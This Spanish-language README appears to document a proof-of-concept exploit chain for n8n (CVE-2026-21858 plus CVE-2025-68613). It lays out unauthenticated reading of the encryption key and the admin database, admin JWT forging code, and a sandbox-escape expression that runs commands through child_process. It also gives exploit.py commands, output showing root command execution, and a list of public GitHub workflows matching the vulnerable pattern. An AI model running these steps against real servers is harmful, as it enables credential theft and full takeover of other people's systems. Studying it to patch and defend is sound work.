
n8n Ni8mare - Lectura arbitraria de archivos no autenticada a cadena de RCE (CVSS 10.0)
Lectura arbitraria de archivos sin autenticación → Forja de token de administrador → Evasión de sandbox → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Crítico) |
| Afectado | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corregido | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgado | 2026-01-07 11:09 UTC |
| Nombre clave | Ni8mare |
| Crédito | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Proceso | Automatizado con IA: diff del parche → reproducción → laboratorio → exploit (~9 h después de la divulgación) |
| Tipo | Prueba de concepto: NO es un exploit universal (requiere una configuración de workflow específica; consulta Limitaciones) |
Cadena RCE completa sin autenticación en n8n:
La exposición se basa en la versión. En cuanto a exposición, hay instancias vulnerables de n8n accesibles públicamente.
Resultados de LeakIX: Ver instancias expuestas
Este exploit se desarrolló de forma independiente al informe de Cyera (descubierto después de finalizarlo). Diferencias clave:
Ambos enfoques requieren configuraciones de workflow específicas. Cyera necesita chat + integración de IA; este exploit necesita un formulario con nodo Respond. Consulta Limitaciones para más detalles.
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
El legendario «Merge commit from fork»: cuando ves esto, alguien encontró algo picante. 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Envía Content-Type: application/json → controla filepath → lee cualquier archivo.
n8n aísla el código del usuario (nodo Code, expresiones) mediante vm2/isolated-vm. Otros vectores RCE:
| Técnica | Estado |
|---|---|
| Nodo Execute Command | Deshabilitado por defecto () |
Usé la inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada: no requiere nodos ni configuración especiales. La evasión de Pyodide (CVE-2025-68668) requiere el nodo Python Code, que puede no estar disponible en todas las instancias.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Las expresiones de n8n tienen acceso a this.process.mainModule.require → evasión total del sandbox.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Este NO es un exploit «pwn cualquier n8n». Requiere condiciones específicas para funcionar:
| Requisito | Descripción |
|---|---|
| Formulario con carga de archivos |
Ejemplo de configuración de workflow vulnerable:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en workflows de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).
Funciona con:
No funciona con:
Nota: La vulnerabilidad (lectura arbitraria de archivos) se activa independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Los métodos alternativos (OOB, otros nodos de salida) pueden funcionar según la configuración del workflow.
Explotación ciega: Si no existe un nodo respond, n8n sigue leyendo el archivo, pero no se puede exfiltrar mediante la respuesta HTTP. Serían necesarias técnicas alternativas (OOB, temporización).
El patrón vulnerable (Form Trigger + carga de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.
Nota: Los repositorios populares de workflows de n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:
Estos son workflows aportados por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.
| Cyera (investigación original) | Este exploit |
|---|
| Lectura de archivos | Cargar en la base de conocimiento de IA → consultar mediante chat | Respuesta HTTP directa |
| Requisitos previos | Workflow de chat + integración de IA | Cualquier formulario con carga de archivos |
| Método RCE | Nodo "Execute Command" (deshabilitado por defecto) | Inyección de expresiones (funciona en instalaciones predeterminadas) |
| Automatización | Demostración manual/conceptual | Script de Python totalmente automatizado |
N8N_ALLOW_EXEC_COMMAND=false| Nodos SSH/HTTP | Se ejecutan en servidores remotos, no en el host de n8n |
| Evasión de sandbox de Pyodide | CVE-2025-68668: requiere el nodo Python Code |
| Inyección de expresiones | CVE-2025-68613: funciona en instalaciones predeterminadas |
| El objetivo debe tener un workflow de formulario con un campo de carga de archivos |
| Nodo Respond to Webhook | El workflow debe devolver el contenido del archivo en la respuesta HTTP |
| Workflow activo | El workflow del formulario debe estar activado |
| Acceso sin autenticación | El formulario debe ser accesible públicamente (sin autenticación) |
| Workflow File | Campos de archivo | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Imágenes, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento (PDF) | text |
| ai_resume_project/resume_rag.json | Carga de archivo | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Archivo de audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | archivo | text |
| voltixLandingPage/.../chatbotvoltix.json | Subir archivo | predeterminado |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | archivo | predeterminado |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Sube tu documento | predeterminado |
| learn_earn_ai_insta/.../My workflow.json | sube tu archivo | predeterminado |
| finintworkshop/.../API using n8n (ToT).json | archivo | json |